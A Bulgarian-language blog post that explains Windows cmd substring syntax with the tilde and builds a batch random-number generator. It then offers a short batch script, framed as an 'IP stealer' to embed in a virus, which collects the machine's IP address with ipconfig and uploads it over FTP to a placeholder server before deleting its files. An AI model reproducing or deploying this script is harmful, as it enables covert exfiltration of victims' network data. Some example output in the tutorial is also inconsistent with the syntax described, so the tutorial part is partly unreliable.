cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

Leave a Reply

Your email address will not be published. Required fields are marked *

*